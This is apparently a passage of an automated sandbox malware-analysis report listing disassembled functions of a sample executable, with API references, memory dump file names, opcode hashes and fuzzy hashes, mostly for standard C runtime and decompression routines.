                                                    • _get_daylight.LIBCMT ref: 00007FF6399D4F44
                                                      • Part of subcall function 00007FF6399D4908: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6399D491C
                                                    • _get_daylight.LIBCMT ref: 00007FF6399D51BA
                                                    • _get_daylight.LIBCMT ref: 00007FF6399D51CB
                                                    • _get_daylight.LIBCMT ref: 00007FF6399D51DC
                                                    • GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF6399D541C), ref: 00007FF6399D5203
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
                                                    • String ID:
                                                    • API String ID: 4070488512-0
                                                    • Opcode ID: 0d3b627969e88128c8faa99a2c0e5d438b7f33ec3044a67c5b643e0657b8cf50
                                                    • Instruction ID: 9a813929e3c5294596a21913cb679a5a8ca6ed35b0adb9036ce81672dce53359
                                                    • Opcode Fuzzy Hash: 0d3b627969e88128c8faa99a2c0e5d438b7f33ec3044a67c5b643e0657b8cf50
                                                    • Instruction Fuzzy Hash: 95D1B226E0824286EB24AF25D8811B9A7A6EF44794F484135EA4DC77DFDF3CE841EB41
                                                    Function 00007FF6399C9924 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                                    • String ID:
                                                    • API String ID: 1239891234-0
                                                    • Opcode ID: f336cc4ee628281f12481126c86b188c106f14650002c00baa1860decbda2c10
                                                    • Instruction ID: 6c89e3529143237bf87c122650a5b115976cedba898c3b9db555cf104b33408d
                                                    • Opcode Fuzzy Hash: f336cc4ee628281f12481126c86b188c106f14650002c00baa1860decbda2c10
                                                    • Instruction Fuzzy Hash: AF314236618F8286DB60CF25E8802AE73A5FB89754F580135EA9D87B9ADF3CD545CF00
                                                    Function 00007FF6399D0B84 Relevance: 7.8, APIs: 5, Instructions: 282COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: FileFindFirst_invalid_parameter_noinfo
                                                    • String ID:
                                                    • API String ID: 2227656907-0
                                                    • Opcode ID: fe4d16d24a501c342f9bdefd2dbf7b3c8df5536519bece05b709b84cd6c1ed58
                                                    • Instruction ID: 3225b58b04e989c1bd281be9aeffe71f8d7845a520adcc52ca967e6e991e113f
                                                    • Opcode Fuzzy Hash: fe4d16d24a501c342f9bdefd2dbf7b3c8df5536519bece05b709b84cd6c1ed58
                                                    • Instruction Fuzzy Hash: B3B1C722B1869281EA60DF25D8802B96392EF54BE4F5D5132ED5D87BDEDF3CE441EB00
                                                    Function 00007FF6399D518C Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • _get_daylight.LIBCMT ref: 00007FF6399D51BA
                                                      • Part of subcall function 00007FF6399D4908: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6399D491C
                                                    • _get_daylight.LIBCMT ref: 00007FF6399D51CB
                                                      • Part of subcall function 00007FF6399D48A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6399D48BC
                                                    • _get_daylight.LIBCMT ref: 00007FF6399D51DC
                                                      • Part of subcall function 00007FF6399D48D8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6399D48EC
                                                      • Part of subcall function 00007FF6399C9C58: RtlFreeHeap.NTDLL(?,?,?,00007FF6399D2032,?,?,?,00007FF6399D206F,?,?,00000000,00007FF6399D2535,?,?,?,00007FF6399D2467), ref: 00007FF6399C9C6E
                                                      • Part of subcall function 00007FF6399C9C58: GetLastError.KERNEL32(?,?,?,00007FF6399D2032,?,?,?,00007FF6399D206F,?,?,00000000,00007FF6399D2535,?,?,?,00007FF6399D2467), ref: 00007FF6399C9C78
                                                    • GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF6399D541C), ref: 00007FF6399D5203
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
                                                    • String ID:
                                                    • API String ID: 3458911817-0
                                                    • Opcode ID: ae64d4b013316384daf219013b3406c3cfe35626df30cbdeb691f729cbc9c9de
                                                    • Instruction ID: 48919e8359a416c18dea602ca0c19232ddc98d1e972730a6e63117874ca41f16
                                                    • Opcode Fuzzy Hash: ae64d4b013316384daf219013b3406c3cfe35626df30cbdeb691f729cbc9c9de
                                                    • Instruction Fuzzy Hash: E7514B32A0864286E720DF26A8C11B9A7A2BF48784F495135EA4DC77DFDF3CE440AB41
                                                    Function 00007FF6399BC330 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                                    • String ID:
                                                    • API String ID: 2933794660-0
                                                    • Opcode ID: 0f32e5fb6c1657f40c76225ea380b4ebd78bc5beffa0738dce661fe11625e8f4
                                                    • Instruction ID: dcbf818b759eaf3a0385295f69b01b73c162a66eee838043a4dd22f3f8bae4f1
                                                    • Opcode Fuzzy Hash: 0f32e5fb6c1657f40c76225ea380b4ebd78bc5beffa0738dce661fe11625e8f4
                                                    • Instruction Fuzzy Hash: 33117022B14F068AEB00CF60E8442B933A4FB69758F481E35DA2D877ADDF7CD5548740
                                                    Function 00007FF6399D2F20 Relevance: 4.8, APIs: 3, Instructions: 340COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: memcpy_s
                                                    • String ID:
                                                    • API String ID: 1502251526-0
                                                    • Opcode ID: b41cb84a548d2e61bdeb7bb10330278f5fecde395d7a0ce6ff99175555b28b3c
                                                    • Instruction ID: c8044ce27cd7a85dc8f74ad0ad2caff9c44d514f2bb517f6b7e2ad91a1493667
                                                    • Opcode Fuzzy Hash: b41cb84a548d2e61bdeb7bb10330278f5fecde395d7a0ce6ff99175555b28b3c
                                                    • Instruction Fuzzy Hash: 35C1F472B1828687D724CF19A18566EB792FF98788F488134DB4A87789DF3DE841CF40
                                                    Function 00007FF6399B979B Relevance: 4.1, Strings: 3, Instructions: 397COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID: $header crc mismatch$unknown header flags set
                                                    • API String ID: 0-1127688429
                                                    • Opcode ID: 6a55f11302ef793728786adf415505d571280719f8ef56880a9f0a37636d8ec0
                                                    • Instruction ID: 52a4add6bf7bad556e4b32b8c86adaedf00b22d68476ccf8df6550e065e2bb63
                                                    • Opcode Fuzzy Hash: 6a55f11302ef793728786adf415505d571280719f8ef56880a9f0a37636d8ec0
                                                    • Instruction Fuzzy Hash: 5EF18062A282D54BE7A58F15C098B3A3ABEEF45748F094538DA4D877DACF3CD940DB40
                                                    Function 00007FF6399D8A38 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: ExceptionRaise_clrfp
                                                    • String ID:
                                                    • API String ID: 15204871-0
                                                    • Opcode ID: 4367feba8b0fb5a89db2d79700bffb7903d016d74ce2a4ac284103265cf95646
                                                    • Instruction ID: 9d2f97b36854c9d0649cffd549559a7b1d55d1ad53d431d0920d021eaca6dec9
                                                    • Opcode Fuzzy Hash: 4367feba8b0fb5a89db2d79700bffb7903d016d74ce2a4ac284103265cf95646
                                                    • Instruction Fuzzy Hash: D4B14C77604B898BE715CF2AC8863683BA1FB44B48F188961DA5D837BACF39D451DB00
                                                    Function 00007FF6399C2CC4 Relevance: 2.8, Strings: 2, Instructions: 350COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID: $
                                                    • API String ID: 0-227171996
                                                    • Opcode ID: 25965de2e6678be5c8c686b25b3b835ec4bf2bfab2b797158b347abdb642f747
                                                    • Instruction ID: 777a52ca9cbbcced2781eb9a6dba2651eedcc3434e77a88e62207585926665ac
                                                    • Opcode Fuzzy Hash: 25965de2e6678be5c8c686b25b3b835ec4bf2bfab2b797158b347abdb642f747
                                                    • Instruction Fuzzy Hash: 0CE1B732E0864682EB68CE25C95113D3362FF59B48F1C4135DA4E8B7EADF29D851EF40
                                                    Function 00007FF6399B95FB Relevance: 2.7, Strings: 2, Instructions: 218COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID: incorrect header check$invalid window size
                                                    • API String ID: 0-900081337
                                                    • Opcode ID: 226024973a440a2a6261c5f164d8bafa30541a105b972a390c392a8354fe07a0
                                                    • Instruction ID: 719d8d6c0c6241fa181ca90163f30e2b60413158bd0998842fec0f6b785d6b14
                                                    • Opcode Fuzzy Hash: 226024973a440a2a6261c5f164d8bafa30541a105b972a390c392a8354fe07a0
                                                    • Instruction Fuzzy Hash: 45917172A182858BF7A58E14C498A3E3AFEFB44354F194139DA4A867C9CF3DE940DF40
                                                    Function 00007FF6399CD200 Relevance: 2.6, Strings: 2, Instructions: 144COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID: e+000$gfff
                                                    • API String ID: 0-3030954782
                                                    • Opcode ID: 1324d18368fb7be0dec1b44ace24e6b174879433860390047f5d35653063db2a
                                                    • Instruction ID: 9ac898c549b6f923e8cb4acb6f0152e29afdaabc56d9499018377908cadb9c64
                                                    • Opcode Fuzzy Hash: 1324d18368fb7be0dec1b44ace24e6b174879433860390047f5d35653063db2a
                                                    • Instruction Fuzzy Hash: ED513663F186C586E7248E359C01769AB92F784B94F4C9235CA988BBCACF3DD4459F00
                                                    Function 00007FF6399CFBD8 Relevance: 2.0, APIs: 1, Instructions: 461COMMON
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: CurrentFeaturePresentProcessProcessor
                                                    • String ID:
                                                    • API String ID: 1010374628-0
                                                    • Opcode ID: a8238ebacfbb29389201daedac3868d1c225100c6328c8ae619a1fe2ce119bc6
                                                    • Instruction ID: 9adbcae1e6fdafff221cbee0672d133b5ad1a099e1cdf9c360858c8737cd0c6c
                                                    • Opcode Fuzzy Hash: a8238ebacfbb29389201daedac3868d1c225100c6328c8ae619a1fe2ce119bc6
                                                    • Instruction Fuzzy Hash: 5302CD21F0D68281FE10AF12A8452796686AF45B91F4D4635ED6ECB3DFDE3DA841BF00
                                                    Function 00007FF6399CCD6C Relevance: 1.5, Strings: 1, Instructions: 254COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID: gfffffff
                                                    • API String ID: 0-1523873471
                                                    • Opcode ID: ee332c23296b8dd3ed29fdb42bef122adb490463d0c8b601810d73b835641fc7
                                                    • Instruction ID: 07e8ed97747ea343a7303ee015b99646f121823f2c27ceffdac1b2c8f0afcdaa
                                                    • Opcode Fuzzy Hash: ee332c23296b8dd3ed29fdb42bef122adb490463d0c8b601810d73b835641fc7
                                                    • Instruction Fuzzy Hash: C5A13763F0878546EB21CF29A8107A97B92AB55BC4F088031DE8D877CAEE3DD901DF01
                                                    Function 00007FF6399C7AAC Relevance: 1.4, Strings: 1, Instructions: 177COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _invalid_parameter_noinfo
                                                    • String ID: TMP
                                                    • API String ID: 3215553584-3125297090
                                                    • Opcode ID: 839a1a806d2b08c8b9ade1ed9786cb9cb8429efd2ac68b7f8e7a62dba0c63b20
                                                    • Instruction ID: 1ca0bc5b43090fc5793e728123827b50998499fa0dbe54bdb594463ab1010968
                                                    • Opcode Fuzzy Hash: 839a1a806d2b08c8b9ade1ed9786cb9cb8429efd2ac68b7f8e7a62dba0c63b20
                                                    • Instruction Fuzzy Hash: D4519B51F0864741FA68AF2A5D511BA5293AF90BC5F4C8434DE0EC77DBEE3DE542AE00
                                                    Function 00007FF6399D2790 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: HeapProcess
                                                    • String ID:
                                                    • API String ID: 54951025-0
                                                    • Opcode ID: fe1a72d78314f5032ff6e3f3402ce84269ae1386cefa971ca0fc6f511f9bbc55
                                                    • Instruction ID: 968d77bdb27a0f9f6923d5b22bcfadd662a6fa58616fed024c42b782c32002a3
                                                    • Opcode Fuzzy Hash: fe1a72d78314f5032ff6e3f3402ce84269ae1386cefa971ca0fc6f511f9bbc55
                                                    • Instruction Fuzzy Hash: 44B09220E07A87C2EA082F116C8622422A67F88701FA98138C40D81365DE2C20E56B01
                                                    Function 00007FF6399C28C0 Relevance: .3, Instructions: 327COMMON
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: b05403af9c31de739a9311cbf741df56ce5de8bb6a66a9cc9bcf40cf40427d0b
                                                    • Instruction ID: aea59d42fb3c4bb199335a7cdadd4378996647ffdda62b7d6766d854389cb3c9
                                                    • Opcode Fuzzy Hash: b05403af9c31de739a9311cbf741df56ce5de8bb6a66a9cc9bcf40cf40427d0b
                                                    • Instruction Fuzzy Hash: 63D19626E0864685EB78CE25895027D27A2EB45B48F1C4235CE0D8B7EEDF3DD945EF40
                                                    Function 00007FF6399B8B20 Relevance: .3, Instructions: 287COMMON
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
